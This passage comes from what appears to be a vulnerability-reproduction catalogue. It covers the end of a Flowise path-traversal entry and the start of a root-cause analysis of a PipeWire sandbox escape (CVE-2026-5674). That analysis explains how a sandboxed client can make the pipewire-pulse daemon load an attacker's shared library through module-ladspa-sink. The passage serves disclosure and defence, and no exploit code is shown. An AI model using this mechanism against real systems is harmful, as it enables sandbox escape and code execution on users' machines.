constrain legacy fallback/migration behavior on unauthenticated routes. Filesystem moves should not occur as a side effect of a public download request. - Add integration tests over the real unauthenticated HTTP boundary for encoded and unencoded traversal forms, both download endpoints, all storage providers, and fixed-version fail-closed behavior. - Return a client error (for example HTTP 400) rather than HTTP 500 for invalid path input to reduce unnecessary internal-error behavior. ## Additional Notes - **Idempotency:** The final script performs two isolated vulnerable and two isolated fixed attempts in one run, and it is being executed twice consecutively. Per-attempt directories, databases, accounts, chatflows, ports, and secrets are recreated; each run uses a new random token. - **Authentication boundary:** Registration/login and chatflow creation are setup actions only. The exploit request itself is emitted by a fresh `curl` invocation without a cookie jar or any authentication-related header. - **Execution mode:** No sanitizer, direct parser harness, mock server, or reimplemented storage function is used. The script invokes the real released Flowise CLI and HTTP server from digest-pinned official product images. - **Operational detail:** The official image filesystems are streamed and extracted rather than imported into the rootless Docker daemon because that daemon's private layer store was too small for these multi-gigabyte images. This does not change product bytes or runtime behavior: each image's own bundled musl loader, Node executable, Flowise package, dependencies, and CLI are executed. - **Known precondition:** The read handler requires a valid chatflow UUID. The script creates one through the normal authenticated product API before testing the separate public download boundary. ### Reproduction - Reproduced: 2026-07-28T15:45:55.651Z - Duration: 4017s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00310 # or: pruva-verify CVE-2025-71334 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00310 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00310/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00310 ================================================================================ ## REPRO-2026-00309: PipeWire sandbox escape via malicious library loading in PulseAudio compatibility layer -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00309 - CVE: CVE-2026-5674 (https://nvd.nist.gov/vuln/detail/CVE-2026-5674) ### Package Information - Name: pipewire (pipewire-pulse daemon) - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: Unknown ### Root Cause # Root Cause Analysis — CVE-2026-5674 (PipeWire PulseAudio-compatibility sandbox escape) ## Summary PipeWire's PulseAudio compatibility daemon (`pipewire-pulse`) implements the PulseAudio native protocol `LOAD_MODULE` command. The request handler only checks the `pulse.allow-module-loading` server property (default: `true`) and then loads any of the built-in PulseAudio compatibility modules with fully attacker-controlled arguments. One of those modules, `module-ladspa-sink`, forwards the attacker-supplied `plugin=` argument to PipeWire's filter-chain LADSPA loader, which calls `dlopen()` on the value verbatim when it is an absolute path. Because Flatpak-style sandboxes deliberately expose the PulseAudio unix socket to sandboxed applications, an attacker confined in a bubblewrap/Flatpak sandbox can make the out-of-sandbox `pipewire-pulse` daemon `dlopen()` an attacker-controlled shared library, executing its ELF constructors in the daemon process and thereby escaping the sandbox. ## Impact - Package/component affected: `pipewire` / `pipewire-pulse` (`libpipewire-module-protocol-pulse`, pulse `module-ladspa-sink`/`module-ladspa-source`, SPA filter-graph LADSPA plugin). - Affected versions: verified on PipeWire 1.6.2 (Ubuntu 26.04, `1.6.2-1ubuntu1.1`). The Debian security tracker lists every release as vulnerable (bullseye 0.3.19 through sid 1.6.8); no upstream fix exists at the time of this run. - Risk level and consequences: Important (CVSS 8.8 per Amazon ALAS). Any sandboxed application with access to the PulseAudio socket (default for audio-playing Flatpaks) can execute arbitrary code in the user's unsandboxed `pipewire-pulse` session daemon, i.e. a full sandbox escape with the daemon's privileges. ## Impact Parity - Disclosed/claimed maximum impact: sandbox escape — arbitrary code execution outside the sandbox (bubblewrap/Flatpak-style namespace sandbox) via the PulseAudio compatibility layer. - Reproduced impact from this run: attacker-controlled code executed in the host-side `pipewire-pulse` daemon from a client confined in a real bubblewrap sandbox with separate mount and user namespaces. Proof: the loaded library's constructor wrote fresh markers (`CVE-2026-5674-PWNED pid= uid=1000 comm=pipewire-pulse`) into a host-only oracle directory that the sandboxed client could neither see nor write. - Parity: `full`. - Not demonstrated: nothing material — a constructor can contain arbitrary code; the marker write is representative attacker-controlled code execution in the daemon. ## Root Cause 1. `src/modules/module-protocol-pulse/pulse-server.c` — `do_load_module()` (line 5051) handles `COMMAND_LOAD_MODULE` from the PulseAudio native protocol. Its only guard is `if (!impl->defs.allow_module_loading) return -EACCES;`. The property defaults to true (`/usr/share/pipewire/pipewire-pulse.conf`: `#pulse.allow-module-loading = true`). 2. `src/modules/module-protocol-pulse/modules/module-ladspa-sink.c` — the registered pulse module `module-ladspa-sink` accepts `plugin=` and `label=` arguments and builds a filter.graph node `{ type = ladspa plugin = "" label = "